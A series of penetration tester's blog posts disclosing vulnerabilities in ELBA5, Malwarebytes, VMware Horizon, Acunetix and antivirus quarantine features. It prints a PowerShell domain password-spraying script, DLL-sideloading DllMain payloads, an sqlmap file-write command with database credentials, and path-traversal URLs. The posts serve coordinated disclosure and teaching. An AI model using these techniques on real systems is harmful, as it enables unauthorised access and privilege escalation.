Nov 162018
 

This blog post is about a previously unknown critical vulnerability in the Austrian electronic banking application ELBA5. The issue discussed here could be abused to gain full control over any ELBA5 database server as well as the underlying operating system. It has a confirmed CVSSv3 score of 10.0.

TL;DR: To secure your ELBA5 network installation, please update to the latest available ELBA5 release (5.8.1). For further information please see https://www.elba.at

What is ELBA5?

ELBA5, as shown below, is one of Austria’s most important business-focused electronic banking applications. It is used by the finance departments of many large organisations and supports about 24 different banks.

It is important to note that there are two distinct ELBA5 releases, namely: ELBA5 single-seat and ELBA5 multi-user (aka network installation). The vulnerability discussed here is only exploitable for the ELBA5 network installation. However, I have also reported several other, although less critical issues for the single-seat release. So it’s highly recommended to updated to the latest version anyway.

To give you a broad understanding of how the ELBA5 software stack works in a multi-user configuration, I create the following diagram. On the left side there is the ELBA5 server: This machine has two distinct functions: On the one hand it serves the ELBA5 binary application to all clients using a standard Windows file share. On the other hand it provides the ELBA5 backend, which is basically a SAP SQL Anywhere Database.

The enduser systems simply connect to the mentioned file share and launch the ELBA5 client from there. This makes it easy to update the application, as there is only a single package that is used by everyone. All the data that is viewed, modified or created from within the ELBA5 client is directly stored into the backend database. This is everything you need to know in order to understand the following exploit…

How everything started

The story of this vulnerability began during a penetration test last year. There I was able to gain access to the finance department’s terminal server. Amongst other’s they also used the ELBA5 network installation for their daily business. As I’m curious by nature I immediately launched all the interesting looking applications. Below is an image illustrating the sequence of things that happened right after. Can you spot the (possible) issue?

Well, here is the thing that caused my attention: How is it possible to install automatic updates without any previous authentication? Is the ELBA5 application using hardcoded credentials to connect to the backend service?

Initial Analysis

With this initial discovery I started to dig a little deeper. As ELBA5 is developed in Java I used the CRF decompiler to learn more about the inner workings of the application. Strangely, I could not really find any code that established the connection with the database backend. At that point I got really interested…

As my first try failed, I switched to a more brute force-like method: As I guessed that the ELBA5 client uses hardcoded credentials, they have to be somewhere in memory. A quick search for strings like user, uid, password, pwd however did not reveal anything interesting. Hence I thought, these credentials may get cleaned up immediately after establishing the initial connection. This is where the brute force part comes into play: I downloaded Microsoft’s procdump and took memory dumps as fast as I could while launching ELBA5. As shown in the screenshot below, this worked out. I was able to capture the credentials of not one, but two valid backend users. Namely, “connector” and “elba”:

By setting up a second ELBA5 network installation, I verified that the connector user always uses the same static password, whereas the elba user’s password did not work there. This was a problem as only the elba user holds administrative DBA privileges. Based on what I had learned already I came up with the assumption that there has to be a two step process for authentication:

The 1 Million Dollar Question: How is this working in Detail?

After taking a closer look at the privileges of the “connector” user on my debug machine (where I knew the DBA password), I discovered that this account is only authorised for a single column in a single table. Well, now I knew where the encrypted DBA password was stored. That it is encrypted (or at least obfuscated) was clear after I compared the content of the daten column with my known elba password. They were completely different.

So, I again had to take a closer look at the source code of the application. Finally, after many hours of debugging I discovered an interesting comment:

Has the database logic been “outsourced” into a separate library? To get a first glance I extracted all the strings from the systemtools.dll library… Some stood out immediately:

The highlighted SQL commands in the above screenshot are likely used to decrypt the secret elba DBA database password. Presumedly the AES encryption algorithm was used to secure the password. From the static strings alone however, I was not able to exfiltrate the required password. So I had to switch to something more dynamic: Immunity Debugger.

After setting an access breakpoint on the memory addresses of the above strings (and a few hours of debugging), I found the following information on the stack. The highlighted part contains the hardcoded key that is used to decrypt the elba user’s password.

Bringing it all together

By combining what I had learned by now, it was possible to reliably gain DBA permissions for every single ELBA5 network installation:

  1. Connect to the database with the hardcoded “connector” user and SELECT the AES encrypted DBA’s user password
  2. Decrypt the password with the static AES key, as obtained with the help of Immunity Debugger
  3. Connect to the database with the user elba and the decrypted password. We now have full control over all information that is stored in the DB.

However, this was where the real fun began…

Adding a Backdoor User

As I was targeting a banking application I thought it would be great to earn a bit of extra cash. So, what about adding a backdoor user?

After again analysing the source code I found out how the user’s password is stored in the table “BEDIENER”:

By analysing all the involved methods, I was able to make it more readable as:

This finally made it possible to remotely add arbitrary users to the ELBA5 installation. Logically with admin permissions:

Because everyone wants to have a user called “HACKER” in this electronic backing application – Right?

Remote Code Execution

But wait, there is more. Because from a pentester’s point of view we care more about overtaking a server than stealing money…. Luckily there is an old friend in the ELBA5 SQL Anywhere database server that we can use: xp_cmdshell. This SQL command can be used to run arbitrary applications on the operating system level. What makes this even more interesting was, that the database runs with full SYSTEM level permissions:

That means, we can also add a new Windows Admin. This give us full control over the affected server. Mimikatz anyone?

PoC Exploit

To automate the process discussed in this blog post, I wrote a fully fledge python exploit. It can either be used to add a new ELBA5 user to the database or remotely run a command with SYSTEM permissions on the target system. The only thing that is required is that the ELBA5 SQL Anywhere Database service is running a vulnerable version and is accessible over the network (TCP port 2640).

You can download the full exploit here:

Coordinate Public Disclosure Process

I also want to briefly discuss the coordinated public disclosure process that I went through with the developers of ELBA5. The initial issue was reported last year and triaged within days. As some may have already guessed, this is more an architectural issue and so it required intense rewrites and testing. I was invited twice during this process to discuss the current state. We openly talked about the risks and how they can be mitigated.

I really want to everyone involved for how professionally this matter was resolved. Not many companies take IT security that serious. It really shows how they values their partners and endusers. THANK YOU! 

Mitigation

This coordinated process is also important for endusers. Why? Well, because the only thing they have to do is: Please install the lastest ELBA5 5.8.1 release from https://www.elba.at. A lot of testing went into making the transition to the new authentication module completely transparent.

Summary

As I always think it is important to summaries the key aspect, I created the following overview. It gives a great high level introduction into the underlying vulnerability and the suggested solution. This slide is also available in German.

If you have any questions, please contact me directly at florian@bee-itsecurity.at or use the comment form below.

Thanks for reading that far 😉

Sep 242018
 

Have you ever asked yourself how vulnerabilities are discovered and how exploits are written? Well, then this is the perfect video for you. We will start by discussing how so called Fuzzers can be used to find previously unknown bugs in applications. Then we will analyse the generated crash dumps to find out if the underlying issue is exploitable and finally, we will write a fully-fledged exploit.

All this will be demonstrated “live”, based on the example of a well-known application with more than 1 million downloads per month. This is your chance to be part of the disclosure of a previously unknown zero-day vulnerability!

If you have any questions or feedback leave a comment below!

Jul 182018
 

Over the last years I painfully realised that IT Security is a very complex topic. Often it is difficult to communicate the scope of certain vulnerabilities and their mitigation strategies to layman’s and sometimes even IT professionals. I guess that’s the reason why many security consultancies don’t even try. But this is not my way!

Hence, I finally started my own business: Bee IT Security Consulting e.U. 

Our goal is to aid organisations in understanding their current security level and to help them take the best next steps for their business. To do that I’m provide security consulting services, including Penetration Testing, Workshops, Awareness and additionally I still love to give talks!

If you want to know more you can visit my new webpage https://www.bee-itsecurity.at (german only) or contact me at florian@bee-itsecurity.at.

Apr 032018
 

As you might have guessed already by the title: I’m not a big fan of web vulnerabilities. Well, actually it is not the fault of the web here, but that I have the feeling the many people are just reporting XSS as if it were super critical. I do fully understand that its consequences can be devastating, but most often they are not. PERIOD.

In this post I want to document an exploit that I discovered during one of my latest pentests. I consider it a great example, that shows that the web can in fact be interesting. By combining several issues it’s often / sometimes / once-in-a-lifetime possible to achieve something really interesting, like a remote code execution. As I can’t discuss the vulnerabilities on the real product (because of legal obligations), I rebuilt the interesting parts myself and pushed them to my race2rce Github repro. So you can try it out yourself it you are curious.

Everything started with the following dirb scan:

As you can see there is a “hidden” directory /Global with directory listing enabled on the target server. Many of the therein identified directories were empty or could only be accessed with valid credentials. However, the folders lic and logviewer were unsecured. Additionally, the file demo.lic could be downloaded.

Let’s start with the folder /Global/logviewer. It’s a simple web page to monitor some kind of log. After selecting one of the listed files, its content is shown. The interesting part is the URL: http://192.168.88.147/Global/logviewer/?file=../logs/fakeapp.1.log. The highlighted parted almost screams for a LFI.

And I was right. By modifying the URL to http://192.168.88.147/Global/logviewer/?file=../../../../../../../../etc/passwd a list of all users was printed.

The big question: Is there anything that is worth reading? Well, let’s check the content of /Global/lic.

It looks like a license viewer where .lic files can be uploaded and checked for validity. By uploading the demo.lic (as previously downloaded) we learn that the license file is not valid (anymore).

The question is, what is this file doing in the background? By abusing the LFI vulnerability we can obtain the underlying source: http://192.168.88.147/Global/logviewer/?file=../lic/index.php

This looks interesting, so let’s analyse the file in detail. In our example here, we can simply use the original file from Github.

The first thing we learn is that there is a magic byte sequence. The file is only processed any further if it starts with “fakeapp”.

After that, the rest of the file is stored with the user provided file name. Because there is no additional path given, the file is saved in the current working directory.

Furthermore, after the license file has been checked it is removed from the server:

Well… this may be vulnerable for a race condition. If we add the magic bytes to any PHP code file, it should be stored in the current working directory with the filename we provide during the upload. If the file is requested at exactly the right time – between it was written to disc and before it is removed – arbitrary PHP commands can be executed. At least that’s the theory.

With that knowledge I started to build a small Python exploit PoC. It uses two threads to abuse the identified race condition. One thread (called writer) tries to upload a malicious PHP license file that can execute arbitrary CLI commands.

The second thread (the main thread) tries to find the right moment to exploit it. The following screenshots shows it in action.

In this blog post I wanted to show that there is more than XSS. Sometimes you have to be creative to find something interesting – like a remote code execution. But please always remember: A vulnerability is only as critical as the data that is exposed on or from the affected system as well as the gained access level.

If you are keen to try it yourself, you can download everything from my race2rce Github repro.

Mar 092018
 

During one of my latest pentest assignments I learned about a standard password widely used within the target organisation. Hence, I wanted to check all functional AD user accounts for said password. Normally I would solve this task by using Metasploit’s smb_login auxiliary module. However, in this case I had no access to my toolkit.

To still solve the task, I came back to good old Powershell. With just a few lines of code I wrote my own login checker. It simply reads a file (user.txt) line by line and tries to authenticate as this user with the given standard password against the domain. Be aware that this is everything but silent! However, sometimes you simply don’t care about flying below the radar and sometimes you just know no-one is watching anyway 😉

Without further due, here’s the code. Maybe it’s of use for someone else.

foreach($line in Get-Content .\user.txt) {
    $username = $line
    $password = "FakeNews"

    # Get current domain using logged-on user's credentials
    $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
    
	# Try to connect using the credentials to test
    $domain = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$UserName,$Password)

    if ($domain.name -eq $null)
    {
     write-host  -ForegroundColor Red "[-] User $username"
    }
    else
    {
     write-host -ForegroundColor Green "[+] User $username uses $password"
    }
}

The following screenshot illustrates the expected output.

And don’t forget: Always watch for Fake News in your org

Nov 102017
 

As you may have noticed, it has been quite still here for a while. This was related to the preparations for this release: A post disclosing a new type of vulnerability, affecting multiple Anti-Virus solutions. To summaries: Today, I’m disclosing an issue, that can be exploited by any local user to gain full control over the endpoint by abusing the restore from quarantine Anti-Virus feature. 

And because every new vulnerability needs its own name and logo, I want to introduce you to #AVGater:

The Basics

But let’s get back on track, by discussing a few Anti-Virus basics. The following diagram shows the inner workings of a typical AV from an unprivileged user’s point of view. There are three different access domains: The kernel mode, the privileged user mode (SYSTEM) and the unprivileged user mode. As shown in the following image, the different components have widely different duties:

Within the context of the unprivileged user there is only the AV user interface. By itself, it has no real power, because its executing within a limited user session. However, by talking to the AV Windows service it can do many things a normal user would not be able too. For example it may be allowed to restore files from the virus quarantine (This could be a hint – Couldn’t it?). Additionally there is kernel component. Most likely it’s doing the real work of checking objects for known threat identifiers.

The Idea

So what’s the real point here? Well, if a non-privileged user would be able to manipulate any of the communication channels that cross security boundaries (unprivileged user mode to privileged user mode or privileged user mode to kernel mode) he could escalate his privileges. But how to do that?

In the case of #AVGater, the answer to this question is: By manipulating the restore process from the virus quarantine:

As shown in the above video, #AVGater can be used to restore a previously quarantined file to any arbitrary filesystem location. This is possible because the restore process is most often carried out by the privileged AV Windows user mode service. Hence, file system ACLs can be circumvented (as they don’t really count for the SYSTEM user). This type of issue is called a privileged file write vulnerability and can be used to place a malicious DLL anywhere on the system. The goal is to side load this library for a legitimate Windows servers by abusing the DLL Search Order:

If this succeeds, arbitrary code can be executed with the help of the DLLMain entry point.

But there is still one very important question still unanswered: How is it possible to tamper with the restore process? The solution are NTFS directory junctions. They are basically symbolic links for directories that can be created by anyone with the help of mklink.

#AVGater in plain english: By abusing NTFS directory junctions, the AV quarantine restore process can be manipulated, so that previously quarantined files can be written to arbitrary file system locations.

Putting it all together

With all this knowledge, we can now paint a complete attack scenario: First a malicious library is moved to the AV quarantine. Then, by abusing directory junctions the original source path is redirected to another destination. Most likely a folder within C:\Program Files or C:\Windows. By restoring the previously quarantined file, the SYSTEM permissions of the AV Windows user mode service are misused, and the malicious library is placed in a folder where the currently signed in user is unable to write to under normal conditions. Because of how the DLL search order works, it is finally loaded by another privileged Windows process. Thereby the code within the DLLMain of the malicious library is executed. Hence, a local non-admin attacker gained full control over the affected endpoint.

Here’s a diagram illustrating the whole process:

 

Who is/was affected?

During the preparation for this public disclosure, several different product have been checked for #AVGater.

The following vendors have already released their fix. However, there are a few more to come!

   
   

 

If anyone finds additional vulnerable products, please contact me. I will report them and update this list as soon as they fixed the issue.

Getting our hands dirty

If you want to know more about how to exploit #AVGator in a real life scenario, I have a good news for you: I already fully documented two exploit vectors:

Additionally, here are the slides of my talk “When your anti virus turns against you” from the IT SECX conference.

How to protect myself?

Generally, it’s pretty simple: Always install updates in a timely manner. However, as some vendors still need a few more days to release their fix, it may take a little till everyone is protected.

Furthermore, as #AVGator can only be exploited if the user is allowed to restore previously quarantined file, I recommend everyone within a corporate environment to block normal users from restoring identified threats. This is wise in any way.

Nov 102017
 

This post is about a local privilege escalation vulnerability in Malwarebytes Anti-Malware 3. It can be abused by any local user to gain full control over the system. It is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. It has been verified on a fully patched english Windows 7 x64 running Malwarebytes Free 3.0.5.1299.

The underlying issue is that the Quarantine feature can be abuse to write arbitrary files to any filesystem location with full SYSTEM level permissions.

The first step in this attack is that a file with the name version.dll has to be quarantined from an otherwise empty folder. A good trick to do so is to simply rename a well-known malware to version.dll. I prepared such a sample here. Download it to ~\Desktop\X\version.dll and trigger a manual scan to get it detected.

As soon as the following dialog is shown, replace the already detected malware with our payload.

The prepared payload mimics the Windows library version.dll. However, instead of providing any real functionality it simply logs the current user to C:\Users\Public\user.txt. You can download the full source here.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	exit(1);
	return 0;
}

Then finish the quarantine process and reboot the system. Now delete the previously created and now empty folder X and replace it with a directory junction as shown below.

Finally restore the quarantined file.

Because of the directory junction the library version.dll is restored to C:\Program Files\Malwarebytes\Anti-Malware.

After a reboot our “malicious” version.dll is loaded by the Windows service “Malwarebytes Service” (mbamservice.exe). As this service uses the SYSTEM account, we gained full control over the computer. This is also documented as the current user is logged to C:\Users\Public\user.txt.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction.

Timeline

  • 14.1.2017: The issues has been documented and reported
  • 19.1.2017: Vendor starts investigation
  • 26.1.2017: Issue confirmed – Fix implemented
  • 27.3.2017: Update fully deployed
  • 11.10.2017: Public release
Jul 102017
 

In this blog post I want to discuss a code injection vulnerability in VMware Horizon‘s macOS Client Version 4.4.0 (5164329) that can be abused to gain local root privileges. The good news is, that it has already been fixed in the latest available version. I found it after learning about the “Open VMware View Client Services” SUID binary on my Mac.

I think it is used internally by Horizon’s remote USB services and is only exploitable after they have been started once by entering administrative credentials.

To investigate the binary further, I used the newly released Fireeye application Monitor.app. It basically is Process Monitor (procmon) for macOS.

Based on the activities as captured by Monitor.app it was clear that “Open VMware View Client Services” was basically a wrapper around “services.sh”. This makes sense as the SUID bit is ignored for script files.

After taking a closer look at this script, I identified the highlighted line in the following screenshot as a starting point for a possible code injection vulnerability. Although I had no idea about the inner workings of “./vmware-usbarbitrator” this binary was immediately my focus for further investigations. The reason for this is that I – as a non-admin user – am able to set the content of the environment variable VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS – that is used in an SUID executed script. 

After taking a closer look at the possible command line options I was pretty sure I could abuse this setup to load a custom kernel extension by abusing the –kext flag. 

However, there are two further problems:

  1. Kernel Extensions are only loaded if they are owned by root : wheel
  2. Additionally, KEXTs the have to be signed by Apple.

In the course of this LPE I will ignore issue #2. Hence, I disabled SIP.

So let’s focus on issue #1. To successfully load a kernel extension the binary has to be owned by root : wheel. However, for a normal user it is impossible to set this file system permissions on a any local file. Luckily, I had already invested plenty of time to learn about the In’s and Out’s of file systems at Tools On Air. So I knew, the only thing I had to do was to abuse NFS. This is possible because NFS allows the server to specify the file system permissions, even if mounted by a user. Any other local or remote file system I know of, ignores files owned by root in some way. So my next step was to simply export a remote folder (on my Kali Linux I always carry around with me) using NFS…

… and mount it using Finder’s “Connect to Server”.

After creating a simple KEXT …

and updating the Info.plist file to meet the requirements (simply add a dictionary “IOKitPersonalities”) we are ready! 

After copying this KEXT to the NFS server and adapting its permissions to meet the “root:wheel” requirement, we are finally able to start the real exploitation.

To do so simply set the “VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS” environment variable to our previously create KEXT and run “Open VMware View Client Services”. This is enough to load it!

Hence, we gained code execution from a normal user’s account within the kernel context!

Suggested Solution

Filter or clear the environment variables VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS and VMWARE_VIEW_USBD_LOG_OPTIONS.

Disclosure Timeline

21-04-2017: The issues has been documented and reported
24-04-2017: VMware started investigating
06-06-2017: Fix ready
08-06-2017: Updated Horizon version 4.5 alongside security advisory VMSA-2017-0011 released

May 282017
 

This time I want to discuss another local privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified for Acunetix Trail 11.0.163541031 on a fully patched english Windows 7 64-bit.

The underlying issue is that the installed Acunetix PostgresSQL database server can be hijacked by using two different methods. As this database server is running as Local System it can be further abused to write arbitrary files. This in turn can be exploited to gain full control over the system using DLL sideloading.

Gaining access to the database #1

As stated, there are two different methods to gain access to the PostgresSQL server. The first one is very simple: just connect to it. This is possible because the local address is configured as trusted in the configuration file C:\ProgramData\Acunetix 11 Trial\db\pg_hba.conf.

Gaining access to the database #2

The second method is as simple: The user-readable configuration file C:\ProgramData\Acunetix 11 Trial\settings.ini contains the cleartext credentials for the database server.

Abusing the database access

Both methods can be used to connect to the database. The easiest way to abuse this access is to use sqlmap. This setup allows one to write files to arbitrary locations. To finally gain full control over the system I analysed the Acunetix service application. This revealed, as shown in the screenshot below, that the Windows library version.dll is not only loaded from the system directory, but also from the application’s current working directory.

Hence, I built a library mimicking the real Windows DLL version.dll. However, instead of providing any real functionality, it simply creates a new file on the system drive’s root. You can download the full source code and a precompiled version here.

Using the following sqlmap command this DLL can then be placed into the folder C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031.

C:\Python27\python.exe sqlmap.py -d "PostgreSQL://wvs:iRk2mQ3GNVqldjhgeGvMj7UNtd3oUmXT@127.0.0.1:45432/wvs" --dbs --file-write version.dll --file-dest "C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031\version.dll"

The following screenshots illustrates the upload process.

Now simply navigate to C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031 and verify that the file version.dll has been added.

After a reboot the DLL will be loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt will be created.

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, install Python 2.7, pip using get-pip.py and sqlmap (including its dependencies). Then – as a non admin user – follow the instructions of this post to verify the vulnerability.

Suggested solution

The database server should be secured: This means that the configuration file pg_hba.conf should be updated so that the local system should not be considered as trusted anymore and the database configuration file should be secured from unauthorised access using the filesystem ACLs.

An even better idea would be to use an unprivileged user to run the database server in the first place.

Timeline

  • 9.1.2017: The issues has been documented and reported
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure
May 282017
 

This post is about a privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified on a fully patched english Windows 7 x64 running Acunetix Trail 11.0.163541031.

The underlying issue is that a subprocess (opsrv.exe) of the automatically launched Windows Service “Acunetix Trial” tries to load the DLL C:\DLLs\python3.dll.

Although this path does not exist by default it can be created by any local user. This is possible because the filesystem ACLs of the system drive allow anyone to create new subfolders.

With that knowledge I created a new DLL that mimics the expected exports of the real python3.dll. However, instead of providing any real functionality it simply creates a new file on the C: drives root. This in turn is only possible for administrators and proofs the we gained full control over the system. You can download the full source here.

/* 
	Implement DLLMain with common datatypes so we don't have to include windows.h. 
	Otherwise this would cause several compile errors because of the already known but reexported functions.
*/
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"date > C:\\this_should_not_work.txt\"");
	exit(1);
	return 0;
}

After compiling it into a DLL I stored it (logically with a standard User account) as C:\DLLs\python3.dll.

After a reboot the DLL was loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt was created.

 

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, as a non-admin user, create the folder C:\DLLs and place the library python3.dll therein. Now simply reboot the system. After that a new file C:\this_should_not_work.txt has been created. This proof that full SYSTEM level access has been gained.

Suggested solution

All external dependencies should only be loaded from secure locations.

Timeline

  • 5.1.2017: The issue has been documented and reported
  • 6.1.2017: The issue has already been escalated to R&D
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure